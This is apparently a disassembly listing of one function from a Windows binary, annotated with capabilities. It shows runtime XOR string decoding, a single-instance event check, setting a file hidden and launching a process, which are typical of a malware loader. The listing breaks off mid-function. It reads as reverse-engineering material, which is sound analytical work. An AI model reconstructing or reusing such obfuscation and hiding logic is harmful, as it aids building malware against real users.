Function at 0x140017010
Capabilities:
Check if file exists
Create directory
Create process on windows
Create process suspended
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x1400720c0]
xor rax, rsp
mov qword [rbp + 0x550], rax
call fcn.14001b840
lea r9, str.yjg7z8Z0g8832k7eYS0qoyESv
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r12, rax
test rax, rax
je 0x140018226
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14001708a
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140018224
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xor r13d, r13d
mov qword [rbp + 0x3c0], r13
mov qword [rbp + 0x3c8], r13
lea rdx, str.__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________.______________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400170b6
lea rcx, [rbp + 0x3b0]
call fcn.140002e60
nop
call fcn.140018a50
mov r9, rax
cmp byte [rax + 0x53], 0
je 0x140017111
mov rdx, r13
movabs r8, 0xc7d3dbfd570fc78f
nop word [rax + rax]
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x53
jb 0x1400170f0
mov byte [r9 + 0x53], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], r13
mov qword [rbp + 0x2f0], r13
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017130
mov rdx, r9
lea rcx, [rbp + 0x2d8]
call fcn.140002e60
nop
call fcn.140018b50
mov rcx, rax
call fcn.14001ab20
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140017172
mov rdx, rcx
lea rcx, [rbp + 0x370]
call fcn.140002e60
nop
call fcn.140018c40
mov rcx, rax
call fcn.14001aa20
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400171b4
mov rdx, rcx
lea rcx, [rbp + 0x390]
call fcn.140002e60
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x440]
call fcn.14003a810
mov edi, 2
mov r8d, edi
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x440]
call fcn.140019ea0
nop
lea r15d, [rdi + 4]
cmp qword [rbp + 0x4c8], 0
je 0x14001731b
lea rdx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 0xf
cmova rdx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x440]
call fcn.140003430
lea rcx, [rbp + 0x448]
call fcn.14001a920
test rax, rax
jne 0x140017283
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx + 0x488], 0
cmovne eax, edi
or eax, dword [rbp + rcx + 0x450]
and eax, 0x17
mov dword [rbp + rcx + 0x450], eax
and eax, dword [rbp + rcx + 0x454]
jne 0x1400188e5
lea r8, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0xf
cmova r8, qword [rbp + 0x2d8]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov rax, rdi
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14001edf0
mov rdi, rax
lea r8, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0xf
cmova r8, qword [rbp + 0x2d8]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 2
mov edx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rdi
call fcn.14001ec40
movdqa xmm0, xmmword [0x1400697c0]
mov dword [rbp + 0x2c8], 0x9167f7f
mov dword [rbp + 0x2cc], 0xe8e96419
mov dword [rbp + 0x2d0], 0xf1a594d
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x28fc
mov eax, dword [rcx + rdi]
mov ebx, 0x29f0
test al, 1
jne 0x1400173d1
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp + 0x2d4]
cmp rcx, rdx
ja 0x1400173a7
lea rdx, [rbp + 0x2b8]
cmp rax, rdx
jb 0x1400173a7
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2c8]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d0]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x7d
jmp 0x1400173c4
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2c8]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d0]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x7d
lea rcx, [0x14003c2a0]
call fcn.14001ed58
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1d], 0
je 0x140017452
xor byte [rdx], 0x23
xor byte [rdx + 1], 0x3d
xor byte [rdx + 2], 0x7f
xor byte [rdx + 3], 0x7d
xor byte [rdx + 4], 0x7d
xor byte [rdx + 5], 1
xor byte [rdx + 6], 0x8f
xor byte [rdx + 7], 0x8d
xor byte [rdx + 8], 0x23
xor byte [rdx + 9], 0x3d
xor byte [rdx + 0xa], 0x7f
xor byte [rdx + 0xb], 0x7d
xor byte [rdx + 0xc], 0x7d
xor byte [rdx + 0xd], 1
xor byte [rdx + 0xe], 0x8f
xor byte [rdx + 0xf], 0x8d
xor byte [rdx + 0x10], 0x23
xor byte [rdx + 0x11], 0x3d
xor byte [rdx + 0x12], 0x7f
xor byte [rdx + 0x13], 0x7d
xor byte [rdx + 0x14], 0x7d
xor byte [rdx + 0x15], 1
xor byte [rdx + 0x16], 0x8f
xor byte [rdx + 0x17], 0x8d
xor byte [rdx + 0x18], 0x23
xor byte [rdx + 0x19], 0x3d
xor byte [rdx + 0x1a], 0x7f
xor byte [rdx + 0x1b], 0x7d
xor byte [rdx + 0x1c], 0x7d
mov byte [rdx + 0x1d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], r13
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140017470
lea rcx, [rbp + 0x350]
call fcn.140002e60
nop
lea rcx, [rbp + 0x350]
mov rbx, qword [rbp + 0x360]
cmp qword [rbp + 0x368], 0xf
jbe 0x1400174ab
mov rsi, qword [rbp + 0x350]
add rbx, rsi
jmp 0x1400174b5
add rbx, rcx
lea rsi, [rbp + 0x350]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov eax, 0xa
movabs r14, 0x7ffffffffffffffe
cmp rsi, rbx
jne 0x1400174f2
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
jmp 0x1400175bb
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x220], rdx
mov r8d, 7
mov qword [rbp + 0x228], r8
cmp rdi, r14
ja 0x14001893b
cmp rdi, r8
jbe 0x140017563
or rdi, r8
cmp rdi, r14
jbe 0x14001752a
mov rdi, r14
jmp 0x140017531
cmp rdi, rax
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x210]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x228], r8
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0x210]
cmp r8, 7
cmova rcx, qword [rbp + 0x210]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x220]
inc rdx
mov qword [rbp + 0x220], rdx
inc rsi
cmp rsi, rbx
je 0x14001759f
mov r8, qword [rbp + 0x228]
jmp 0x140017563
lea rax, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rax, qword [rbp + 0x210]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x1400696e0]
mov dword [rbp + 0x308], 0xe2d1fb11
mov word [rbp + 0x30c], 0x4fd6
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2aa8
mov eax, dword [rcx + rdi]
mov ebx, 0x2880
test al, 1
jne 0x140017662
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp + 0x30e]
cmp rcx, rdx
ja 0x14001763a
lea rdx, [rbp + 0x2f8]
cmp rax, rdx
jb 0x14001763a
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x308]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x30c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x4b
jmp 0x140017655
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x308]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x30c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x4b
lea rcx, [0x14003c270]
call fcn.14001ed58
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x17], 0
je 0x1400176cb
xor byte [rdx], 0x4d
xor byte [rdx + 1], 0xbf
xor byte [rdx + 2], 0xa3
xor byte [rdx + 3], 0xb5
xor byte [rdx + 4], 0xb3
xor byte [rdx + 5], 0x2d
xor byte [rdx + 6], 0x4b
xor byte [rdx + 7], 0xc9
xor byte [rdx + 8], 0x4d
xor byte [rdx + 9], 0xbf
xor byte [rdx + 0xa], 0xa3
xor byte [rdx + 0xb], 0xb5
xor byte [rdx + 0xc], 0xb3
xor byte [rdx + 0xd], 0x2d
xor byte [rdx + 0xe], 0x4b
xor byte [rdx + 0xf], 0xc9
xor byte [rdx + 0x10], 0x4d
xor byte [rdx + 0x11], 0xbf
xor byte [rdx + 0x12], 0xa3
xor byte [rdx + 0x13], 0xb5
xor byte [rdx + 0x14], 0xb3
xor byte [rdx + 0x15], 0x2d
xor byte [rdx + 0x16], 0x4b
mov byte [rdx + 0x17], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], r13
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400176f0
lea rcx, [rbp + 0x330]
call fcn.140002e60
nop
lea rcx, [rbp + 0x330]
mov rbx, qword [rbp + 0x340]
cmp qword [rbp + 0x348], 0xf
jbe 0x14001772b
mov rsi, qword [rbp + 0x330]
add rbx, rsi
jmp 0x140017735
add rbx, rcx
lea rsi, [rbp + 0x330]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
cmp rsi, rbx
jne 0x140017763
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
jmp 0x140017838
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x200], rdx
mov r8d, 7
mov qword [rbp + 0x208], r8
cmp rdi, r14
ja 0x140018941
cmp rdi, r8
jbe 0x1400177e0
or rdi, r8
cmp rdi, r14
jbe 0x14001779b
mov rdi, r14
jmp 0x1400177a8
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1f0]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x208], r8
mov rdx, qword [rbp + 0x200]
nop word [rax + rax]
lea rcx, [rbp + 0x1f0]
cmp r8, 7
cmova rcx, qword [rbp + 0x1f0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x200]
inc rdx
mov qword [rbp + 0x200], rdx
inc rsi
cmp rsi, rbx
je 0x14001781c
mov r8, qword [rbp + 0x208]
jmp 0x1400177e0
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rax, qword [rbp + 0x1f0]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x1400694f0]
mov dword [rbp + 0x260], 0x6be2c73d
mov dword [rbp + 0x264], 0x6a2f47f6
mov dword [rbp + 0x268], 0x6ce3f607
mov word [rbp + 0x26c], 0x2bf2
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2aa0
mov eax, dword [rcx + rdi]
mov ebx, 0x29d0
test al, 1
jne 0x140017909
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x26d]
cmp rcx, rdx
ja 0x1400178d8
lea rdx, [rbp + 0x250]
cmp rax, rdx
jb 0x1400178d8
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
jmp 0x1400178fc
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003c240]
call fcn.14001ed58
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1e], 0
je 0x14001798e
xor byte [rdx], 0x61
xor byte [rdx + 1], 0x93
xor byte [rdx + 2], 0x8d
xor byte [rdx + 3], 0x1f
xor byte [rdx + 4], 0x97
xor byte [rdx + 5], 0x2b
xor byte [rdx + 6], 0x6b
xor byte [rdx + 7], 0xf
xor byte [rdx + 8], 0x61
xor byte [rdx + 9], 0x93
xor byte [rdx + 0xa], 0x8d
xor byte [rdx + 0xb], 0x1f
xor byte [rdx + 0xc], 0x97
xor byte [rdx + 0xd], 0x2b
xor byte [rdx + 0xe], 0x6b
xor byte [rdx + 0xf], 0xf
xor byte [rdx + 0x10], 0x61
xor byte [rdx + 0x11], 0x93
xor byte [rdx + 0x12], 0x8d
xor byte [rdx + 0x13], 0x1f
xor byte [rdx + 0x14], 0x97
xor byte [rdx + 0x15], 0x2b
xor byte [rdx + 0x16], 0x6b
xor byte [rdx + 0x17], 0xf
xor byte [rdx + 0x18], 0x61
xor byte [rdx + 0x19], 0x93
xor byte [rdx + 0x1a], 0x8d
xor byte [rdx + 0x1b], 0x1f
xor byte [rdx + 0x1c], 0x97
xor byte [rdx + 0x1d], 0x2b
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], r13
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x1400179b0
lea rcx, [rbp + 0x310]
call fcn.140002e60
nop
lea rcx, [rbp + 0x310]
mov rbx, qword [rbp + 0x320]
cmp qword [rbp + 0x328], 0xf
jbe 0x1400179eb
mov rsi, qword [rbp + 0x310]
add rbx, rsi
jmp 0x1400179f5
add rbx, rcx
lea rsi, [rbp + 0x310]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
cmp rsi, rbx
jne 0x140017a23
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
jmp 0x140017aff
mov rax, rbx
sub rax, rsi
mov rdx, r13
mov qword [rbp + 0x1e0], rdx
mov edi, 7
mov qword [rbp + 0x1e8], rdi
cmp rax, r14
ja 0x140018947
cmp rax, rdi
jbe 0x140017aa0
or rax, rdi
cmp rax, r14
ja 0x140017a65
mov r14, rax
cmp rax, 0xa
mov eax, 0xa
cmovb r14, rax
lea rdi, [r14 + 1]
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1d0]
call fcn.140002df0
dec rdi
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e8], rdi
mov rdx, qword [rbp + 0x1e0]
nop word [rax + rax]
lea rcx, [rbp + 0x1d0]
cmp rdi, 7
cmova rcx, qword [rbp + 0x1d0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x1e0]
inc rdx
mov qword [rbp + 0x1e0], rdx
inc rsi
cmp rsi, rbx
je 0x140017adc
mov rdi, qword [rbp + 0x1e8]
jmp 0x140017aa0
lea rax, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rax, qword [rbp + 0x1d0]
mov word [rax + rdx*2], r13w
mov rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rcx, qword [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r14, vtable.std::ios_base.0
cmp eax, 0xffffffff
je 0x140017b33
test al, 0x10
jne 0x140017b87
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140017b59
test al, 0x10
jne 0x140017b87
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140018256
test al, 0x10
je 0x140018256
call fcn.140018d20
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x140017bef
lea rdx, [rax + 1]
mov r8, rdi
sub r8, rax
movabs r10, 0x9b77efa71fa53b3f
nop dword [rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x140017bb0
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], r13
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017c10
mov rdx, r9
lea rcx, [rbp + 0x230]
call fcn.140002e60
nop
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x290]
call fcn.14001ae20
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x140017c86
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001894d
call fcn.14001ec40
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], 0
mov rcx, qword [rbp + 0x2a0]
inc rcx
mov eax, 2
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.14001edf0
mov rbx, rax
lea r8, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova r8, qword [rbp + 0x290]
mov edx, dword [rbp + 0x2a0]
inc edx
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rdx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova rdx, qword [rbp + 0x290]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001ec40
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x140017e07
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018953
call fcn.14001ec40
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0xf
cmova rcx, qword [rbp + 0x2d8]
call fcn.1400275a0
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x140017e7a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018959
call fcn.14001ec40
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x140017ed5
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ed0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a19
call fcn.14001ec40
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 7
jbe 0x140017f34
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a1f
call fcn.14001ec40
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x140017f8f
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a25
call fcn.14001ec40
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 7
jbe 0x140017fee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017fe9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a2b
call fcn.14001ec40
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x140018049
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018044
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a31
call fcn.14001ec40
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], 0
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rsi
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x43c], edx
lea rcx, [rbp + 0x448]
call fcn.140019df0
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rbx
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x43c], edx
mov qword [rbp + 0x4e8], r14
lea rcx, [rbp + 0x4e8]
call fcn.14001e1c4
nop
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x140018116
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018111
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a37
call fcn.14001ec40
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x140018170
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001816b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a3d
call fcn.14001ec40
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], 0xf
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0xf
jbe 0x1400181ca
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400181c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a43
call fcn.14001ec40
mov qword [rbp + 0x2e8], r13
mov qword [rbp + 0x2f0], 0xf
mov byte [rbp + 0x2d8], 0
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x140018224
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001821f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188df
call fcn.14001ec40
xor eax, eax
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.14001ec20
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x140069580]
mov dword [rbp + 0x280], 0x29eedb6e
mov dword [rbp + 0x284], 0xb80ea4c9
mov dword [rbp + 0x288], 0x33e2cf7e
mov word [rbp + 0x28c], 0xf7d4
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x28f4
mov eax, dword [rcx + rdi]
mov ebx, 0x2820
test al, 1
jne 0x140018327
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x28d]
cmp rcx, rdx
ja 0x1400182f6
lea rdx, [rbp + 0x270]
